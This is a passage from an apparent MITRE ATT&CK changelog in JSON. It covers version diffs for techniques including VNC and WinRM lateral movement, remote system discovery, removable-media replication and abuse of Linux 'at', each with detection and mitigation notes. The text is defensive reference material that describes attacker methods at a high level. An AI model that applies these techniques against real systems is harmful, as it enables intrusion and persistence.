Linux, Windows Solutions. Retrieved September 20, 2021.\", \"url\": \"https://www.bleepingcomputer.com/news/security/dozens-of-vnc-vulnerabilities-found-in-linux-windows-solutions/\"}, \"root['external_references'][8]\": {\"source_name\": \"Offensive Security VNC Authentication Check\", \"description\": \"Offensive Security. (n.d.). VNC Authentication. Retrieved October 6, 2021.\", \"url\": \"https://www.offensive-security.com/metasploit-unleashed/vnc-authentication/\"}, \"root['external_references'][9]\": {\"source_name\": \"Attacking VNC Servers PentestLab\", \"description\": \"Administrator, Penetration Testing Lab. (2012, October 30). Attacking VNC Servers. Retrieved October 6, 2021.\", \"url\": \"https://pentestlab.blog/2012/10/30/attacking-vnc-servers/\"}, \"root['external_references'][10]\": {\"source_name\": \"Havana authentication bug\", \"description\": \"Jay Pipes. (2013, December 23). Security Breach! Tenant A is seeing the VNC Consoles of Tenant B!. Retrieved October 6, 2021.\", \"url\": \"http://lists.openstack.org/pipermail/openstack/2013-December/004138.html\"}, \"root['external_references'][11]\": {\"source_name\": \"Apple Unified Log Analysis Remote Login and Screen Sharing\", \"description\": \"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \\u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.\", \"url\": \"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins\"}, \"root['external_references'][12]\": {\"source_name\": \"Gnome Remote Desktop grd-settings\", \"description\": \"Pascal Nowack. (n.d.). Retrieved September 21, 2021.\", \"url\": \"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/grd-settings.c#L207\"}, \"root['external_references'][13]\": {\"source_name\": \"Gnome Remote Desktop gschema\", \"description\": \"Pascal Nowack. (n.d.). Retrieved September 21, 2021.\", \"url\": \"https://gitlab.gnome.org/GNOME/gnome-remote-desktop/-/blob/9aa9181e/src/org.gnome.desktop.remote-desktop.gschema.xml.in\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use [Valid Accounts](https://attack.mitre.ort1Adversaries may use [Valid Accounts](https://attack.mitre.or
>g/techniques/T1078) to remotely control machines using Virtu>g/techniques/T1078) to remotely control machines using Virtu
>al Network Computing (VNC). The adversary may then perform a>al Network Computing (VNC).  VNC is a platform-independent d
>ctions as the logged-on user.  VNC is a desktop sharing syst>esktop sharing system that uses the RFB (\u201cremote framebuffer
>em that allows users to remotely control another computer\u2019s >\u201d) protocol to enable users to remotely control another comp
>display by relaying mouse and keyboard inputs over the netwo>uter\u2019s display by relaying the screen, mouse, and keyboard i
>rk. VNC does not necessarily use standard user credentials. >nputs over the network.(Citation: The Remote Framebuffer Pro
>Instead, a VNC client and server may be configured with sets>tocol)  VNC differs from [Remote Desktop Protocol](https://a
> of credentials that are used only for VNC connections.>ttack.mitre.org/techniques/T1021/001) as VNC is screen-shari
 >ng software rather than resource-sharing software. By defaul
 >t, VNC uses the system's authentication, but it can be confi
 >gured to use credentials specific to VNC.(Citation: MacOS VN
 >C software for Remote Desktop)(Citation: VNC Authentication)
 >  Adversaries may abuse VNC to perform malicious actions as 
 >the logged-on user such as opening documents, downloading fi
 >les, and running arbitrary commands. An adversary could use 
 >VNC to remotely control and monitor a system to collect data
 > and information to pivot to other systems within the networ
 >k. Specific VNC libraries/implementations have also been sus
 >ceptible to brute force attacks and memory usage exploitatio
 >n.(Citation: Hijacking VNC)(Citation: macOS root VNC login w
 >ithout authentication)(Citation: VNC Vulnerabilities)(Citati
 >on: Offensive Security VNC Authentication Check)(Citation: A
 >ttacking VNC Servers PentestLab)(Citation: Havana authentica
 >tion bug)
", "changelog_mitigations": { "shared": [ "M1033: Limit Software Installation", "M1037: Filter Network Traffic", "M1042: Disable or Remove Feature or Program", "M1047: Audit" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0028: Logon Session (Logon Session Creation)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:29:47.757000+00:00", "modified": "2021-06-23 19:22:52.870000+00:00", "name": "Windows Remote Management", "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1021/006", "external_id": "T1021.006" }, { "source_name": "Microsoft WinRM", "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.", "url": "http://msdn.microsoft.com/en-us/library/aa384426" }, { "source_name": "Jacobsen 2014", "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.", "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" }, { "source_name": "MSDN WMI", "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" }, { "source_name": "Medium Detecting Lateral Movement", "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Service: Service Metadata", "Process: Process Creation", "Network Traffic: Network Connection Creation", "Logon Session: Logon Session Creation", "Command: Command Execution" ], "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-06-23 19:22:52.870000+00:00\", \"old_value\": \"2020-03-25 12:25:03.014000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\\n\\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\\n\\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\\n \\n-WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014)\\n+WinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"MSDN WMI\", \"old_value\": \"Medium Detecting Lateral Movement\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.\", \"old_value\": \"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://msdn.microsoft.com/en-us/library/aa394582.aspx\", \"old_value\": \"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).\", \"old_value\": \"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Medium Detecting Lateral Movement\", \"description\": \"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.\", \"url\": \"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc\"}, \"root['x_mitre_data_sources'][0]\": \"Service: Service Metadata\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use [Valid Accounts](https://attack.mitre.ort1Adversaries may use [Valid Accounts](https://attack.mitre.or
>g/techniques/T1078) to interact with remote systems using Wi>g/techniques/T1078) to interact with remote systems using Wi
>ndows Remote Management (WinRM). The adversary may then perf>ndows Remote Management (WinRM). The adversary may then perf
>orm actions as the logged-on user.  WinRM is the name of bot>orm actions as the logged-on user.  WinRM is the name of bot
>h a Windows service and a protocol that allows a user to int>h a Windows service and a protocol that allows a user to int
>eract with a remote system (e.g., run an executable, modify >eract with a remote system (e.g., run an executable, modify 
>the Registry, modify services).(Citation: Microsoft WinRM) I>the Registry, modify services).(Citation: Microsoft WinRM) I
>t may be called with the `winrm` command or by any number of>t may be called with the `winrm` command or by any number of
> programs such as PowerShell.(Citation: Jacobsen 2014)> programs such as PowerShell.(Citation: Jacobsen 2014) WinRM
 >  can be used as a method of remotely interacting with [Wind
 >ows Management Instrumentation](https://attack.mitre.org/tec
 >hniques/T1047).(Citation: MSDN WMI)
", "changelog_mitigations": { "shared": [ "M1026: Privileged Account Management", "M1030: Network Segmentation", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Metadata)", "DS0028: Logon Session (Logon Session Creation)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:30:28.187000+00:00", "modified": "2021-10-15 15:30:00.172000+00:00", "name": "Remote System Discovery", "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1018", "external_id": "T1018" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/292.html", "external_id": "CAPEC-292" }, { "source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Daniel Stepanic, Elastic", "RedHuntLabs, @redhuntlabs" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Network Traffic: Network Connection Creation", "File: File Access" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "3.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 15:30:00.172000+00:00\", \"old_value\": \"2021-04-13 21:40:23.368000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\\\Windows\\\\System32\\\\Drivers\\\\etc\\\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \\n\", \"old_value\": \"Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\\\Windows\\\\System32\\\\Drivers\\\\etc\\\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \\n\\nSpecific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1 @@\\n Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\\\Windows\\\\System32\\\\Drivers\\\\etc\\\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \\n-\\n-Specific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain.\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.2\", \"old_value\": \"3.1\"}}}", "previous_version": "3.1", "version_change": "3.1 \u2192 3.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to get a listing of other systems byt1Adversaries may attempt to get a listing of other systems by
> IP address, hostname, or other logical identifier on a netw> IP address, hostname, or other logical identifier on a netw
>ork that may be used for Lateral Movement from the current s>ork that may be used for Lateral Movement from the current s
>ystem. Functionality could exist within remote access tools >ystem. Functionality could exist within remote access tools 
>to enable this, but utilities available on the operating sys>to enable this, but utilities available on the operating sys
>tem could also be used such as  [Ping](https://attack.mitre.>tem could also be used such as  [Ping](https://attack.mitre.
>org/software/S0097) or <code>net view</code> using [Net](htt>org/software/S0097) or <code>net view</code> using [Net](htt
>ps://attack.mitre.org/software/S0039). Adversaries may also >ps://attack.mitre.org/software/S0039). Adversaries may also 
>use local host files (ex: <code>C:\\Windows\\System32\\Drivers\\>use local host files (ex: <code>C:\\Windows\\System32\\Drivers\\
>etc\\hosts</code> or <code>/etc/hosts</code>) in order to dis>etc\\hosts</code> or <code>/etc/hosts</code>) in order to dis
>cover the hostname to IP address mappings of remote systems.>cover the hostname to IP address mappings of remote systems.
>   Specific to macOS, the <code>bonjour</code> protocol exis>  
>ts to discover additional Mac-based systems within the same  
>broadcast domain. 
", "changelog_mitigations": { "shared": [ "T1018: Remote System Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Access)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:08.977000+00:00", "modified": "2021-07-20 02:18:04.581000+00:00", "name": "Replication Through Removable Media", "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "lateral-movement" }, { "kill_chain_name": "mitre-attack", "phase_name": "initial-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1091", "external_id": "T1091" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Access", "File: File Creation", "Drive: Drive Creation" ], "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_system_requirements": [ "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-20 02:18:04.581000+00:00\", \"old_value\": \"2020-07-14 19:45:59.638000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1034: Limit Hardware Installation", "M1042: Disable or Remove Feature or Program", "T1091: Replication Through Removable Media Mitigation" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0016: Drive (Drive Creation)", "DS0022: File (File Access)", "DS0022: File (File Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-12-03 12:59:36.749000+00:00", "modified": "2021-10-15 14:36:26.063000+00:00", "name": "At (Linux)", "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" }, { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1053/001", "external_id": "T1053.001" }, { "source_name": "Kifarunix - Task Scheduling in Linux", "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019.", "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/" }, { "source_name": "GTFObins at", "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.", "url": "https://gtfobins.github.io/gtfobins/at/" }, { "source_name": "rowland linux at 2019", "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.", "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Scheduled Job: Scheduled Job Creation", "Command: Command Execution", "Process: Process Creation" ], "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 14:36:26.063000+00:00\", \"old_value\": \"2020-03-23 22:35:13.112000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\\n\\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\\n\\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\", \"old_value\": \"Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\\n\\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\\n+Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\\n \\n An adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\\n+\\n+Adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"old_value\": \"Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n \\n+Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\\n+\\n Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"GTFObins at\", \"description\": \"Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021.\", \"url\": \"https://gtfobins.github.io/gtfobins/at/\"}, \"root['external_references'][3]\": {\"source_name\": \"rowland linux at 2019\", \"description\": \"Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.\", \"url\": \"https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse the [at](https://attack.mitre.org/softt1Adversaries may abuse the [at](https://attack.mitre.org/soft
>ware/S0110) utility to perform task scheduling for initial o>ware/S0110) utility to perform task scheduling for initial, 
>r recurring execution of malicious code. The [at](https://at>recurring, or future execution of malicious code. The [at](h
>tack.mitre.org/software/S0110) command within Linux operatin>ttps://attack.mitre.org/software/S0110) command within Linux
>g systems enables administrators to schedule tasks.(Citation> operating systems enables administrators to schedule tasks.
>: Kifarunix - Task Scheduling in Linux)  An adversary may us>(Citation: Kifarunix - Task Scheduling in Linux)  An adversa
>e [at](https://attack.mitre.org/software/S0110) in Linux env>ry may use [at](https://attack.mitre.org/software/S0110) in 
>ironments to execute programs at system startup or on a sche>Linux environments to execute programs at system startup or 
>duled basis for persistence. [at](https://attack.mitre.org/s>on a scheduled basis for persistence. [at](https://attack.mi
